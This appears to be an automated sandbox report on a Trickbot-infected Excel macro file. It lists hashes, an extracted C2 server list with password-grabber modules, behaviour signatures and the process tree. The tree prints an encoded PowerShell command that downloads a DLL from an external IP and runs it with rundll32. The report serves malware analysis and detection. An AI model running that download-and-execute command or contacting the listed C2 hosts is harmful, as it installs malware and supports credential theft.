Analysis

  • max time kernel
    129s
  • max time network
    139s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    14-10-2021 18:06

General

  • Target

    doc2_5.xlsm

  • Size

    130KB

  • MD5

    bb9509e3a758f80aba854fbf3f1fb7be

  • SHA1

    45389b76ed4ad5d41205b754775de4f9f3fd1076

  • SHA256

    6cdc36e5c8774b62bbeeaa2141af5fd3c9c5ca33e0197e6301f76f23e59e9e22

  • SHA512

    c11c2e545ca8d092c772a8d2bda01bb82be89b81f2ac3c0d2e478972b5606ed8405fc350d993434cd4023b4ff958dd83e470f89d3726a144de766ba5cbc550e7

Malware Config

Extracted

Family

trickbot

Version

100019

Botnet

sof1

C2

65.152.201.203:443

185.56.175.122:443

46.99.175.217:443

179.189.229.254:443

46.99.175.149:443

181.129.167.82:443

216.166.148.187:443

46.99.188.223:443

128.201.76.252:443

62.99.79.77:443

60.51.47.65:443

24.162.214.166:443

45.36.99.184:443

97.83.40.67:443

184.74.99.214:443

103.105.254.17:443

62.99.76.213:443

82.159.149.52:443

Attributes
  • autorun
    Name:pwgrabb
    Name:pwgrabc
ecc_pubkey.base64

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Trickbot

    Developed in 2016, TrickBot is one of the more recent banking Trojans.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\doc2_5.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1500
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /B /MIN /WAIT powershell -enc IABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAIgBoAHQAdABwADoALwAvADEAOQA1AC4AMQAzADMALgAxADkAMgAuADEAMAAxAC8AaQBtAGEAZwBlAHMALwByAGUAZABwAGwAYQBuAGUALgBwAG4AZwAiACAALQBPAHUAdABGAGkAbABlACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABjAGwAYgAuAGQAbABsACIA & start C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,gigi
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3116
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -enc IABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAIgBoAHQAdABwADoALwAvADEAOQA1AC4AMQAzADMALgAxADkAMgAuADEAMAAxAC8AaQBtAGEAZwBlAHMALwByAGUAZABwAGwAYQBuAGUALgBwAG4AZwAiACAALQBPAHUAdABGAGkAbABlACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABjAGwAYgAuAGQAbABsACIA
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:832
      • C:\Windows\System32\rundll32.exe
        C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,gigi
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3936
        • C:\Windows\SysWOW64\rundll32.exe
          C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,gigi
          4⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1780
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe
            5⤵
              PID:4020
            • C:\Windows\system32\wermgr.exe
              C:\Windows\system32\wermgr.exe
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1140

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\clb.dll
      MD5

      af9139482aba39172f04ac800e5d590a

      SHA1

      ddc8c326695321288e8b6188f85f09a2f3bfc3ba

      SHA256

      c164942112155303e1834906023a1474b807c1be845021b30ab7ce0b8bc475a0

      SHA512

      feb3fa1b54e1530305560df17229f20f6c750331e7db571ea0b9407ffd9dca31a02882eab9429529a4f94e3c4e0f873add9a3724a18ad0e14951708e28e5cbfe

    • \ProgramData\clb.dll
      MD5

      af9139482aba39172f04ac800e5d590a

      SHA1

      ddc8c326695321288e8b6188f85f09a2f3bfc3ba

      SHA256

      c164942112155303e1834906023a1474b807c1be845021b30ab7ce0b8bc475a0

      SHA512

      feb3fa1b54e1530305560df17229f20f6c750331e7db571ea0b9407ffd9dca31a02882eab9429529a4f94e3c4e0f873add9a3724a18ad0e14951708e28e5cbfe

    • memory/832-284-0x0000000000000000-mapping.dmp
    • memory/832-303-0x00000240CD566000-0x00000240CD568000-memory.dmp
      Filesize

      8KB

    • memory/832-294-0x00000240CD560000-0x00000240CD562000-memory.dmp
      Filesize

      8KB

    • memory/832-295-0x00000240CD563000-0x00000240CD565000-memory.dmp
      Filesize

      8KB

    • memory/1140-325-0x000001B91EDE0000-0x000001B91EE09000-memory.dmp
      Filesize

      164KB

    • memory/1140-326-0x000001B91EF10000-0x000001B91EF11000-memory.dmp
      Filesize

      4KB

    • memory/1140-324-0x0000000000000000-mapping.dmp
    • memory/1500-120-0x0000022DCA530000-0x0000022DCA532000-memory.dmp
      Filesize

      8KB

    • memory/1500-118-0x00007FFB887E0000-0x00007FFB887F0000-memory.dmp
      Filesize

      64KB

    • memory/1500-264-0x0000022DDE3C0000-0x0000022DDE3C4000-memory.dmp
      Filesize

      16KB

    • memory/1500-122-0x0000022DCA530000-0x0000022DCA532000-memory.dmp
      Filesize

      8KB

    • memory/1500-115-0x00007FFB887E0000-0x00007FFB887F0000-memory.dmp
      Filesize

      64KB

    • memory/1500-116-0x00007FFB887E0000-0x00007FFB887F0000-memory.dmp
      Filesize

      64KB

    • memory/1500-121-0x0000022DCA530000-0x0000022DCA532000-memory.dmp
      Filesize

      8KB

    • memory/1500-117-0x00007FFB887E0000-0x00007FFB887F0000-memory.dmp
      Filesize

      64KB

    • memory/1500-119-0x00007FFB887E0000-0x00007FFB887F0000-memory.dmp
      Filesize

      64KB

    • memory/1780-308-0x0000000000000000-mapping.dmp
    • memory/1780-320-0x0000000000630000-0x00000000006BE000-memory.dmp
      Filesize

      568KB

    • memory/1780-322-0x0000000000990000-0x0000000000991000-memory.dmp
      Filesize

      4KB

    • memory/1780-323-0x0000000000731000-0x0000000000733000-memory.dmp
      Filesize

      8KB

    • memory/1780-321-0x00000000041A0000-0x00000000041E5000-memory.dmp
      Filesize

      276KB

    • memory/3116-282-0x0000000000000000-mapping.dmp
    • memory/3936-306-0x0000000000000000-mapping.dmp